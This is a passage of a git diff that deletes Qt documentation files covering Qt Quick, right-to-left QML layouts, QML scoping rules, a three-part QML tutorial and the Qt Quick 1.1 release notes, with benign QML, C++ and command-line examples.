with -classic Qt applications. Version 2.1 of the Qt Creator integrated development -environment (IDE) introduces tools for developing Qt Quick applications. - -\image qml-clocks-example.png - -\section1 The QML Language - -QML is a high level, scripted language. Its commands, more correctly -\e elements, leverage the power and efficiency of the Qt libraries to make easy -to use commands that perform intuitive functions. Drawing a rectangle, -displaying an image, and application events -- all are possible with declarative -programming. - -The language also allows more flexibility of these commands by using -\l{About JavaScript}{JavaScript} to implement the high level user interface -logic. - -A QML element usually has various \e properties that help define the element. -For example, if we created an element called Circle then the radius of the -circle would be a property. Building user interfaces by importing these elements -is one of the great feature of QML and Qt Quick. -\image qml-texteditor5_newfile.png - -\section1 QtDeclarative Module - -To make Qt Quick possible, Qt introduces the \l {QtDeclarative} module. The -module creates a JavaScript runtime that QML runs under with a Qt based backend. -Because QtDeclarative and QML are built upon Qt, they inherit many of Qt's -technology, namely the \l{Signals and Slots}{signals and slots} mechanism and -the \l{The Meta-Object System}{meta-object} system. Data created using C++ are -directly accessible from QML and QML objects are also accessible from C++ code. - -In conjunction with the QML language, the QtDeclarative module separates the -interface logic in QML from the application logic in C++. - -\section1 Creator Tools - -Qt Creator is a complete integrated development environment (IDE) for creating -applications with Qt Quick and the Qt application framework. - -\image qmldesigner-visual-editor.png - -The main goal for Qt Creator is meeting the development needs of Qt Quick -developers who are looking for simplicity, usability, productivity, -extendibility and openness, while aiming to lower the barrier of entry for -newcomers to Qt Quick and Qt. The key features of Qt Creator allow UI designers -and developers to accomplish the following tasks: -\list -\li Get started with Qt Quick application development quickly and easily with -examples, tutorials, and project wizards. -\li Design application user interface with the integrated editor, Qt Quick -Designer, or use graphics software to design the user interface and use scripts -to export the design to Qt Quick Designer. -\li Develop applications with the advanced code editor that provides new powerful -features for completing code snippets, refactoring code, and viewing the element -hierarchy of QML files. -\li Build and deploy Qt Quick applications that target multiple desktop and -mobile platforms, such as Microsoft Windows, Mac OS X, Linux, Symbian, and -Maemo. -\li Debug JavaScript functions and execute JavaScript expressions in the current -context, and inspect QML at runtime to explore the object structure, debug -animations, and inspect colors. -\li Deploy applications to mobile devices and create application installation -packages for Symbian and Maemo devices that can be published in the Ovi Store -and other channels. -\li Easily access information with the integrated context-sensitive Qt Help -system. -\endlist - -\image qtcreator-target-selector.png - -\section1 Where to Go from Here - -The \l {Qt Quick} page has links to various Qt Quick topics such as QML -features, addons, and tools. - -The \l {QML Examples and Demos} page has a gallery of QML applications. - -\section1 License Information -\list -\li \l{Qt Declarative Licensing Information} -\endlist -*/ - - - diff --git a/doc/src/declarative/righttoleft.qdoc b/doc/src/declarative/righttoleft.qdoc deleted file mode 100644 index c25fe8a0..00000000 --- a/doc/src/declarative/righttoleft.qdoc +++ /dev/null @@ -1,194 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Digia Plc and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/legal -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** Commercial License Usage -** Licensees holding valid commercial Qt licenses may use this file in -** accordance with the commercial license agreement provided with the -** Software or, alternatively, in accordance with the terms contained in -** a written agreement between you and Digia. For licensing terms and -** conditions see http://qt.digia.com/licensing. For further information -** use the contact form at http://qt.digia.com/contact-us. -** -** GNU Free Documentation License Usage -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. Please review the following information to ensure -** the GNU Free Documentation License version 1.3 requirements -** will be met: http://www.gnu.org/copyleft/fdl.html. -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qml-righttoleft.html -\title QML Right-to-left User Interfaces - -\section1 Overview - -This chapter discusses different approaches and options available for implementing right-to-left -language support for Qt Quick applications. Some common right-to-left languages include Arabic, Hebrew, -Persian and Urdu. Most changes include making sure that text translated to right-to-left languages -is properly aligned to the right, and horizontally ordered content in views, lists and grids flows -correctly from the right to left. - -In right-to-left language speaking cultures, people naturally scan and read graphic elements and text -from the right to left. The general rule of thumb is that content (like photos, videos and maps) is not -mirrored, but positioning of the content (like application layouts and the flow of visual elements) is -mirrored. For example, photos shown in chronological order should flow from right to left, the -low end range of the horizontal sliders should be located at the right side of the slider, and -text lines should should be aligned to the right side of the available text area. The location of visual -elements should not be mirrored when the position is related to a content; for example, when a -position marker is shown to indicate a location on a map. Also, there are some special cases you may -need to take into account where right-to-left language speakers are used to left-to-right -positioning, for example when using number dialers in phones and media play, pause, rewind and -forward buttons in music players. - -\section1 Text Alignment - -(This applies to the \l Text, \l TextInput and \l TextEdit elements.) - -When the horizontal alignment of a text item is not explicitly set, the text element is -automatically aligned to the natural reading direction of the text. By default left-to-right text -like English is aligned to the left side of the text area, and right-to-left text like Arabic is -aligned to the right side of the text area. The alignment of a text element with empty text takes -its alignment cue from \l QApplication::keyboardInputDirection(), which is based on the active -system locale. - -This default locale-based alignment can be overriden by setting the \c horizontalAlignment -property for the text element, or by enabling layout mirroring using the \l LayoutMirroring attached -property, which causes any explicit left and right horizontal alignments to be mirrored. -Note that when \l LayoutMirroring is set, the \c horizontalAlignment property value remains unchanged; -use the property \c LayoutMirroring.enabled instead to query whether the mirroring is in effect. - -\snippet doc/src/snippets/declarative/righttoleft.qml 0 - -\section1 Layout direction of positioners and views - -(This applies to the \l Row, \l Grid, \l Flow, \l ListView and \l GridView elements.) - -From Qt Quick 1.1 onwards, elements used for horizontal positioning and model views have gained a \c layoutDirection -property for controlling the horizontal direction of the layouts. Setting \c layoutDirection to -\c Qt.RightToLeft causes items to be laid out from the right to left. By default Qt Quick follows -the left-to-right layout direction. - -The horizontal layout direction can also be reversed through the \l LayoutMirroring attached property. -This causes the effective \c layoutDirection of positioners and views to be mirrored. Note though that the actual -value of the \c layoutDirection property will remain unchanged; use the property \c LayoutMirroring.enabled instead -to query whether the mirroring is in effect. - -\snippet doc/src/snippets/declarative/righttoleft.qml 1 - -\section1 Layout mirroring - -The attached property \l LayoutMirroring is provided as a convenience for easily implementing right-to-left -support for existing left-to-right Qt Quick applications. It mirrors the behavior of \l {anchor-layout} -{Item anchors}, the layout direction of \l{Using QML Positioner and Repeater Items}{positioners} and -model views, and the explicit text alignment of QML text elements. - -You can enable layout mirroring for a particular \l Item: - -\snippet doc/src/snippets/declarative/righttoleft.qml 2 - -Or set all child elements to also inherit the layout direction: - -\snippet doc/src/snippets/declarative/righttoleft.qml 3 - -Applying mirroring in this manner does not change the actual value of the relevant anchor, -\c layoutDirection or \c horizontalAlignment properties. The separate read-only property -\c effectiveLayoutDirection can be used to query the effective layout -direction of positioners and model views that takes the mirroring into account. Similarly the \l Text, -\l TextInput and \l TextEdit elements have gained the read-only property \c effectiveHorizontalAlignment -for querying the effective visual alignment of text. For anchors, the read only -\l {Item::anchors.top}{anchors.mirrored} property reflects whether anchors have been mirrored. - -Note that application layouts and animations that are defined using \l {Item::}{x} property values (as -opposed to anchors or positioner elements) are not affected by the \l LayoutMirroring attached property. -Therefore, adding right-to-left support to these types of layouts may require some code changes to your application, -especially in views that rely on both the anchors and x coordinate-based positioning. Here is one way to use -the \l LayoutMirroring attached property to apply mirroring to an item that is positioned using \l {Item::}{x} -coordinates: - -\snippet doc/src/snippets/declarative/righttoleft.qml 4 - -Not all layouts should necessarily be mirrored. There are cases where a visual element is positioned to -the right side of the screen for improved one-handed use, because most people are right-handed, and not -because of the reading direction. In the case that a child element should not be affected by mirroring, -set the \l {LayoutMirroring::enabled}{LayoutMirroring.enabled} property for that element to false. - -Qt Quick is designed for developing animated, fluid user interfaces. When mirroring your application, remember to test that -the animations and transitions continue to work as expected. If you do not have the resources to add -right-to-left support for your application, it may be better to just keep the application layouts left -aligned and just make sure that text is translated and aligned properly. - -\section1 Mirroring icons - -(This applies to \l Image, \l BorderImage and \l AnimatedImage elements.) - -Most images do not need to be mirrored, but some directional icons, such as arrows, may need to be mirrored. -The painting of these icons can be mirrored with a dedicated \c mirror property introduced in Qt Quick 1.1: - -\snippet doc/src/snippets/declarative/righttoleft.qml 5 - -\section1 Default layout direction - -The \l {QML:Qt::application}{Qt.application.layoutDirection} property can be used to query the active layout direction of the -application. It is based on QApplication::layoutDirection(), which most commonly determines the layout -direction from the active language translation file. - -To define the layout direction for a particular locale, declare the dedicated string literal -\c QT_LAYOUT_DIRECTION in context \c QApplication as either "LTR" or "RTL". - -You can do this by first introducing this line - -\code -QT_TRANSLATE_NOOP("QApplication", "QT_LAYOUT_DIRECTION"); -\endcode - -somewhere in your QML source code and calling \c lupdate to generate the translation source file. - -\code -lupdate myapp.qml -ts myapp.ts -\endcode - -This will append the following declaration to the translation file, where you can fill in either "LTR" or -"RTL" as the translation for the locale. - -\code -<context> - <name>QApplication</name> - <message> - <location filename="myapp.qml" line="33"/> - <source>QT_LAYOUT_DIRECTION</source> - <translation type="unfinished">RTL</translation> - </message> -</context> -\endcode - -You can test that the layout direction works as expected by running your Qt Quick application with -the compiled translation file: - -\code -qmlviewer myapp.qml -translation myapp.qm -\endcode - -You can test your application in right-to-left layout direction simply by executing qmlviewer with a -command-line parameter "-reverse": - -\code -qmlviewer myapp.qml -reverse -\endcode - -The layout direction can also be set from C++ by calling the static function \l QApplication::setLayoutDirection(): - -\code -QApplication app(argc, argv); -app.setLayoutDirection(Qt::RightToLeft); -\endcode - -*/ diff --git a/doc/src/declarative/scope.qdoc b/doc/src/declarative/scope.qdoc deleted file mode 100644 index 8ee8d69c..00000000 --- a/doc/src/declarative/scope.qdoc +++ /dev/null @@ -1,304 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Digia Plc and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/legal -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** Commercial License Usage -** Licensees holding valid commercial Qt licenses may use this file in -** accordance with the commercial license agreement provided with the -** Software or, alternatively, in accordance with the terms contained in -** a written agreement between you and Digia. For licensing terms and -** conditions see http://qt.digia.com/licensing. For further information -** use the contact form at http://qt.digia.com/contact-us. -** -** GNU Free Documentation License Usage -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. Please review the following information to ensure -** the GNU Free Documentation License version 1.3 requirements -** will be met: http://www.gnu.org/copyleft/fdl.html. -** $QT_END_LICENSE$ -** -****************************************************************************/ -/*! -\page qdeclarativescope.html -\title QML Scope - -\tableofcontents - -QML property bindings, inline functions and imported JavaScript files all -run in a JavaScript scope. Scope controls which variables an expression can -access, and which variable takes precedence when two or more names conflict. - -As JavaScript's built-in scope mechanism is very simple, QML enhances it to fit -more naturally with the QML language extensions. - -\section1 JavaScript Scope - -QML's scope extensions do not interfere with JavaScript's natural scoping. -JavaScript programmers can reuse their existing knowledge when programming -functions, property bindings or imported JavaScript files in QML. - -In the following example, the \c {addConstant()} method will add 13 to the -parameter passed just as the programmer would expect irrespective of the -value of the QML object's \c a and \c b properties. - -\code -QtObject { - property int a: 3 - property int b: 9 - - function addConstant(b) { - var a = 13; - return b + a; - } -} -\endcode - -That QML respects JavaScript's normal scoping rules even applies in bindings. -This totally evil, abomination of a binding will assign 12 to the QML object's -\c a property. - -\code -QtObject { - property int a - - a: { var a = 12; a; } -} -\endcode - -Every JavaScript expression, function or file in QML has its own unique -variable object. Local variables declared in one will never conflict -with local variables declared in another. - -\section1 Element Names and Imported JavaScript Files - -\l {QML Document}s include import statements that define the element names -and JavaScript files visible to the document. In addition to their use in the -QML declaration itself, element names are used by JavaScript code when accessing -\l {Attached Properties} and enumeration values. - -The effect of an import applies to every property binding, and JavaScript -function in the QML document, even those in nested inline components. The -following example shows a simple QML file that accesses some enumeration -values and calls an imported JavaScript function. - -\code -import QtQuick 1.0 -import "code.js" as Code - -ListView { - snapMode: ListView.SnapToItem - - delegate: Component { - Text { - elide: Text.ElideMiddle - text: "A really, really long string that will require eliding." - color: Code.defaultColor() - } - } -} -\endcode - -\section1 Binding Scope Object - -Property bindings are the most common use of JavaScript in QML. Property -bindings associate the result of a JavaScript expression with a property of an -object. The object to which the bound property belongs is known as the binding's -scope object. In this QML simple declaration the \l Item object is the -binding's scope object. - -\code -Item { - anchors.left: parent.left -} -\endcode - -Bindings have access to the scope object's properties without qualification. -In the previous example, the binding accesses the \l Item's \c parent property -directly, without needing any form of object prefix. QML introduces a more -structured, object-oriented approach to JavaScript, and consequently does not -require the use of the JavaScript \c this property. - -Care must be used when accessing \l {Attached Properties} from bindings due -to their interaction with the scope object. Conceptually attached properties -exist on \e all objects, even if they only have an effect on a subset of those. -Consequently unqualified attached property reads will always resolve to an -attached property on the scope object, which is not always what the programmer -intended. - -For example, the \l PathView element attaches interpolated value properties to -its delegates depending on their position in the path. As PathView only -meaningfully attaches these properties to the root element in the delegate, any -sub-element that accesses them must explicitly qualify the root object, as shown -below. - -\code -PathView { - delegate: Component { - Rectangle { - id: root - Image { - scale: root.PathView.scale - } - } - } -} -\endcode - -If the \l Image element omitted the \c root prefix, it would inadvertently access -the unset \c {PathView.scale} attached property on itself. - -\section1 Component Scope - -Each QML component in a QML document defines a logical scope. Each document -has at least one root component, but can also have other inline sub-components. -The component scope is the union of the object ids within the component and the -component's root element's properties. - -\code -Item { - property string title - - Text { - id: titleElement - text: "<b>" + title + "</b>" - font.pixelSize: 22 - anchors.top: parent.top - } - - Text { - text: titleElement.text - font.pixelSize: 18 - anchors.bottom: parent.bottom - } -} -\endcode - -The example above shows a simple QML component that displays a rich text title -string at the top, and a smaller copy of the same text at the bottom. The first -\c Text element directly accesses the component's \c title property when -forming the text to display. That the root element's properties are directly -accessible makes it trivial to distribute data throughout the component. - -The second \c Text element uses an id to access the first's text directly. IDs -are specified explicitly by the QML programmer so they always take precedence -over other property names (except for those in the \l {JavaScript Scope}). For -example, in the unlikely event that the binding's \l {Binding Scope Object}{scope -object} had a \c titleElement property in the previous example, the \c titleElement -id would still take precedence. - -\section1 Component Instance Hierarchy - -In QML, component instances connect their component scopes together to form a -scope hierarchy. Component instances can directly access the component scopes of -their ancestors. - -The easiest way to demonstrate this is with inline sub-components whose component -scopes are implicitly scoped as children of the outer component. - -\code -Item { - property color defaultColor: "blue" - - ListView { - delegate: Component { - Rectangle { - color: defaultColor - } - } - } -} -\endcode - -The component instance hierarchy allows instances of the delegate component -to access the \c defaultColor property of the \c Item element. Of course, -had the delegate component had a property called \c defaultColor that would -have taken precedence. - -The component instance scope hierarchy extends to out-of-line components, too. -In the following example, the \c TitlePage.qml component creates two -\c TitleText instances. Even though the \c TitleText element is in a separate -file, it still has access to the \c title property when it is used from within -the \c TitlePage. QML is a dynamically scoped language - depending on where it -is used, the \c title property may resolve differently. - -\code -// TitlePage.qml -import QtQuick 1.0 -Item { - property string title - - TitleText { - size: 22 - anchors.top: parent.top - } - - TitleText { - size: 18 - anchors.bottom: parent.bottom - } -} - -// TitleText.qml -import QtQuick 1.0 -Text { - property int size - text: "<b>" + title + "</b>" - font.pixelSize: size -} -\endcode - -Dynamic scoping is very powerful, but it must be used cautiously to prevent -the behavior of QML code from becoming difficult to predict. In general it -should only be used in cases where the two components are already tightly -coupled in another way. When building reusable components, it is preferable -to use property interfaces, like this: - -\code -// TitlePage.qml -import QtQuick 1.0 -Item { - id: root - property string title - - TitleText { - title: root.title - size: 22 - anchors.top: parent.top - } - - TitleText { - title: root.title - size: 18 - anchors.bottom: parent.bottom - } -} - -// TitleText.qml -import QtQuick 1.0 -Text { - property string title - property int size - - text: "<b>" + title + "</b>" - font.pixelSize: size -} -\endcode - -\section1 JavaScript Global Object - -In addition to all the properties that a developer would normally expect on -the JavaScript global object, QML adds some custom extensions to make UI or -QML specific tasks a little easier. These extensions are described in the -\l {QML Global Object} documentation. - -QML disallows element, id and property names that conflict with the properties -on the global object to prevent any confusion. Programmers can be confident -that \c Math.min(10, 9) will always work as expected! - -*/ diff --git a/doc/src/declarative/tutorial.qdoc b/doc/src/declarative/tutorial.qdoc deleted file mode 100644 index 41260a13..00000000 --- a/doc/src/declarative/tutorial.qdoc +++ /dev/null @@ -1,226 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Digia Plc and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/legal -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** Commercial License Usage -** Licensees holding valid commercial Qt licenses may use this file in -** accordance with the commercial license agreement provided with the -** Software or, alternatively, in accordance with the terms contained in -** a written agreement between you and Digia. For licensing terms and -** conditions see http://qt.digia.com/licensing. For further information -** use the contact form at http://qt.digia.com/contact-us. -** -** GNU Free Documentation License Usage -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. Please review the following information to ensure -** the GNU Free Documentation License version 1.3 requirements -** will be met: http://www.gnu.org/copyleft/fdl.html. -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qml-tutorial.html -\title QML Tutorial -\brief An introduction to the basic concepts and features of QML. -\nextpage QML Tutorial 1 - Basic Types - -This tutorial gives an introduction to QML, the mark up language for Qt Quick. It doesn't cover everything; -the emphasis is on teaching the key principles, and features are introduced as needed. - -Through the different steps of this tutorial we will learn about QML basic types, we will create our own QML component -with properties and signals, and we will create a simple animation with the help of states and transitions. - -Chapter one starts with a minimal "Hello world" program and the following chapters introduce new concepts. - -The tutorial's source code is located in the $QTDIR/examples/declarative/tutorials/helloworld directory. - -Tutorial chapters: - -\list 1 -\li \l {QML Tutorial 1 - Basic Types}{Basic Types} -\li \l {QML Tutorial 2 - QML Components}{QML Components} -\li \l {QML Tutorial 3 - States and Transitions}{States and Transitions} -\endlist - -*/ - -/*! -\page qml-tutorial1.html -\title QML Tutorial 1 - Basic Types -\contentspage QML Tutorial -\previouspage QML Tutorial -\nextpage QML Tutorial 2 - QML Component - -This first program is a very simple "Hello world" example that introduces some basic QML concepts. -The picture below is a screenshot of this program. - -\image declarative-tutorial1.png - -Here is the QML code for the application: - -\snippet examples/declarative/tutorials/helloworld/tutorial1.qml 0 - -\section1 Walkthrough - -\section2 Import - -First, we need to import the types that we need for this example. Most QML files will import the built-in QML -types (like \l{Rectangle}, \l{Image}, ...) that come with Qt, using: - -\snippet examples/declarative/tutorials/helloworld/tutorial1.qml 3 - -\section2 Rectangle element - -\snippet examples/declarative/tutorials/helloworld/tutorial1.qml 1 - -We declare a root element of type \l{Rectangle}. It is one of the basic building blocks you can use to create an application in QML. -We give it an \c{id} to be able to refer to it later. In this case, we call it "page". -We also set the \c width, \c height and \c color properties. -The \l{Rectangle} element contains many other properties (such as \c x and \c y), but these are left at their default values. - -\section2 Text element - -\snippet examples/declarative/tutorials/helloworld/tutorial1.qml 2 - -We add a \l Text element as a child of the root Rectangle element that displays the text 'Hello world!'. - -The \c y property is used to position the text vertically at 30 pixels from the top of its parent. - -The \c anchors.horizontalCenter property refers to the horizontal center of an element. -In this case, we specify that our text element should be horizontally centered in the \e page element (see \l{anchor-layout}{Anchor-Based Layout}). - -The \c font.pointSize and \c font.bold properties are related to fonts and use the \l{dot properties}{dot notation}. - - -\section2 Viewing the example - -To view what you have created, run the \l{QML Viewer} tool (located in the \c bin directory) with your filename as the first argument. -For example, to run the provided completed Tutorial 1 example from the install location, you would type: - -\code -bin/qmlviewer $QTDIR/examples/declarative/tutorials/helloworld/tutorial1.qml -\endcode -*/ - -/*! -\page qml-tutorial2.html -\title QML Tutorial 2 - QML Components -\contentspage QML Tutorial -\previouspage QML Tutorial 1 - Basic Types -\nextpage QML Tutorial 3 - States and Transitions - -This chapter adds a color picker to change the color of the text. - -\image declarative-tutorial2.png - -Our color picker is made of six cells with different colors. -To avoid writing the same code multiple times for each cell, we create a new \c Cell component. -A component provides a way of defining a new type that we can re-use in other QML files. -A QML component is like a black-box and interacts with the outside world through properties, signals and functions and is generally -defined in its own QML file. (For more details, see \l {Defining New Components}). -The component's filename must always start with a capital letter. - -Here is the QML code for \c Cell.qml: - -\snippet examples/declarative/tutorials/helloworld/Cell.qml 0 - -\section1 Walkthrough - -\section2 The Cell Component - -\snippet examples/declarative/tutorials/helloworld/Cell.qml 1 - -The root element of our component is an \l Item with the \c id \e container. -An \l Item is the most basic visual element in QML and is often used as a container for other elements. - -\snippet examples/declarative/tutorials/helloworld/Cell.qml 4 - -We declare a \c cellColor property. This property is accessible from \e outside our component, this allows us -to instantiate the cells with different colors. -This property is just an alias to an existing property - the color of the rectangle that compose the cell (see \l{Property Binding}). - -\snippet examples/declarative/tutorials/helloworld/Cell.qml 5 - -We want our component to also have a signal that we call \e clicked with a \e cellColor parameter of type \e color. -We will use this signal to change the color of the text in the main QML file later. - -\snippet examples/declarative/tutorials/helloworld/Cell.qml 2 - -Our cell component is basically a colored rectangle with the \c id \e rectangle. - -The \c anchors.fill property is a convenient way to set the size of an element. -In this case the rectangle will have the same size as its parent (see \l{anchor-layout}{Anchor-Based Layout}). - -\snippet examples/declarative/tutorials/helloworld/Cell.qml 3 - -In order to change the color of the text when clicking on a cell, we create a \l MouseArea element with -the same size as its parent. - -A \l MouseArea defines a signal called \e clicked. -When this signal is triggered we want to emit our own \e clicked signal with the color as parameter. - -\section2 The main QML file - -In our main QML file, we use our \c Cell component to create the color picker: - -\snippet examples/declarative/tutorials/helloworld/tutorial2.qml 0 - -We create the color picker by putting 6 cells with different colors in a grid. - -\snippet examples/declarative/tutorials/helloworld/tutorial2.qml 1 - -When the \e clicked signal of our cell is triggered, we want to set the color of the text to the \e cellColor passed as a parameter. -We can react to any signal of our component through a property of the name \e 'onSignalName' (see \l{Signal Handlers}). -*/ - -/*! -\page qml-tutorial3.html -\title QML Tutorial 3 - States and Transitions -\contentspage QML Tutorial -\previouspage QML Tutorial 2 - QML Component - -In this chapter, we make this example a little bit more dynamic by introducing states and transitions. - -We want our text to move to the bottom of the screen, rotate and become red when clicked. - -\image declarative-tutorial3_animation.gif - -Here is the QML code: - -\snippet examples/declarative/tutorials/helloworld/tutorial3.qml 0 - -\section1 Walkthrough - -\snippet examples/declarative/tutorials/helloworld/tutorial3.qml 2 - -First, we create a new \e down state for our text element. -This state will be activated when the \l MouseArea is pressed, and deactivated when it is released. - -The \e down state includes a set of property changes from our implicit \e {default state} -(the items as they were initially defined in the QML). -Specifically, we set the \c y property of the text to \c 160, the rotation to \c 180 and the \c color to red. - -\snippet examples/declarative/tutorials/helloworld/tutorial3.qml 3 - -Because we don't want the text to appear at the bottom instantly but rather move smoothly, -we add a transition between our two states. - -\c from and \c to define the states between which the transition will run. -In this case, we want a transition from the default state to our \e down state. - -Because we want the same transition to be run in reverse when changing back from the \e down state to the default state, -we set \c reversible to \c true. -This is equivalent to writing the two transitions separately. - -The \l ParallelAnimation element makes sure that the two types of animations (number and color) start at the same time. -We could also run them one after the other by using \l SequentialAnimation instead. - -For more details on states and transitions, see \l {QML States} and the \l{declarative/animation/states}{states and transitions example}. -*/ diff --git a/doc/src/declarative/whatsnew.qdoc b/doc/src/declarative/whatsnew.qdoc deleted file mode 100644 index 80e1c3a5..00000000 --- a/doc/src/declarative/whatsnew.qdoc +++ /dev/null @@ -1,188 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Digia Plc and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/legal -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** Commercial License Usage -** Licensees holding valid commercial Qt licenses may use this file in -** accordance with the commercial license agreement provided with the -** Software or, alternatively, in accordance with the terms contained in -** a written agreement between you and Digia. For licensing terms and -** conditions see http://qt.digia.com/licensing. For further information -** use the contact form at http://qt.digia.com/contact-us. -** -** GNU Free Documentation License Usage -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. Please review the following information to ensure -** the GNU Free Documentation License version 1.3 requirements -** will be met: http://www.gnu.org/copyleft/fdl.html. -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\title What's New in Qt Quick -\page qtquick-whatsnew.html - -\section1 Qt 4.7.4 includes QtQuick 1.1 - -QtQuick 1.1 is a minor feature update. \e {import QtQuick 1.1} to use the new -features. - -\section2 PinchArea - -PinchArea provides support for the common two finger pinch gesture. - -\section2 LayoutMirroring attached property - -\l {LayoutMirroring}{Layout mirroring} is useful when you need to support both -left-to-right and right-to-left layout versions of your application that target -different language areas. - -\section2 Text - -Added the following properties: -\list -\li \l {Text::}{lineHeight} -\li \l {Text::}{lineHeightMode} -\li \l {Text::}{lineCount} -\li \l {Text::}{maximumLineCount} -\li \l {Text::}{truncated} -\endlist - -horizontalAlignment now accepts Text.AlignJustify alignment mode. - -\section2 TextEdit - -Added the following properties, methods and signal handlers: -\list -\li \l {TextEdit::}{canPaste} -\li \l {TextEdit::}{lineCount} -\li \l {TextEdit::}{inputMethodComposing} -\li \l {TextEdit::}{mouseSelectionMode} -\li \l {TextEdit::}{deselect()} -\li \l {TextEdit::}{isRightToLeft()} -\li \l {TextEdit::}{moveCursorSelection()} to enable selection by word -\li \l {TextEdit::}{onLinkActivated} -\endlist - -\section2 TextInput - -Added the following properties and methods: -\list -\li \l {TextInput::}{canPaste} -\li \l {TextInput::}{inputMethodComposing} -\li \l {TextInput::}{mouseSelectionMode} -\li \l {TextInput::}{deselect()} -\li \l {TextInput::}{isRightToLeft()} -\li \l {TextInput::}{moveCursorSelection()} to enable selection by word -\endlist - -\section2 Image, BorderImage and AnimatedImage - -Added the following properties: -\list -\li \l{Image::}{cache} -\li \l{Image::}{mirror} -\endlist - -\section2 Item - -Added the following properties: -\list -\li \l{Item::}{implicitWidth} and \l{Item::}{implicitHeight} -\endlist - -\section2 Flickable - -Added the following methods: -\list -\li \l{Flickable::}{resizeContent()} -\li \l{Flickable::}{returnToBounds()} -\endlist - -\section2 MouseArea - -Added the following property: -\list -\li \l{MouseArea::}{preventStealing} -\endlist - -\section2 ListView and GridView - -Added the following properties and methods: -\list -\li \l{ListView::}{layoutDirection} -\li \l{ListView::}{positionViewAtBeginning()} -\li \l{ListView::}{positionViewAtEnd()} -\endlist - -\section2 Flow, Grid and Row - -Added the following property: -\list -\li \l{Flow::}{layoutDirection} -\endlist - -\section2 Repeater - -Added the following methods and signal handlers: -\list -\li \l{Repeater::}{onItemAdded} -\li \l{Repeater::}{onItemRemoved} -\li \l{Repeater::}{itemAt()} -\endlist - -\section2 Component - -\list -\li The \l{Component::}{createObject()} method now accepts a map of initial -property values for the created object. -\endlist - -\section2 Qt - -\list -\li Added the \l {QML:Qt::application}{Qt.application} object to hold generic -global application properties. -\endlist - -\section2 Other changes - -\list -\li Functions can be \l{Property Binding#Property Binding}{assigned to properties from JavaScript} -to create property bindings. -\li QtQuick now supports Right to Left layout in positioners, views, anchors and text elements. -\endlist - - -\section1 Qt 4.7.1 - -\section2 QtQuick namespace - -In prior Qt releases, all the Qt Quick elements were available in the \e Qt -namespace. Starting with Qt 4.7.1, the elements are also available in the -\e QtQuick namespace, which improves naming consistency, and allows the -development of Qt Quick to occur at a faster rate than Qt's usual minor release -schedule. - -The change for developers is very simple - where you previously wrote -\e {import Qt 4.7}, just replace it with \e {import QtQuick 1.0}, like this: - -\code -import QtQuick 1.0 - -Text { - text: "Welcome to QtQuick 1.0!" -} -\endcode - -\e {import Qt 4.7} continues to work so existing applications won't break even -if they aren't updated, but it is recommended that all import statements be -modified to the new form. -*/ |
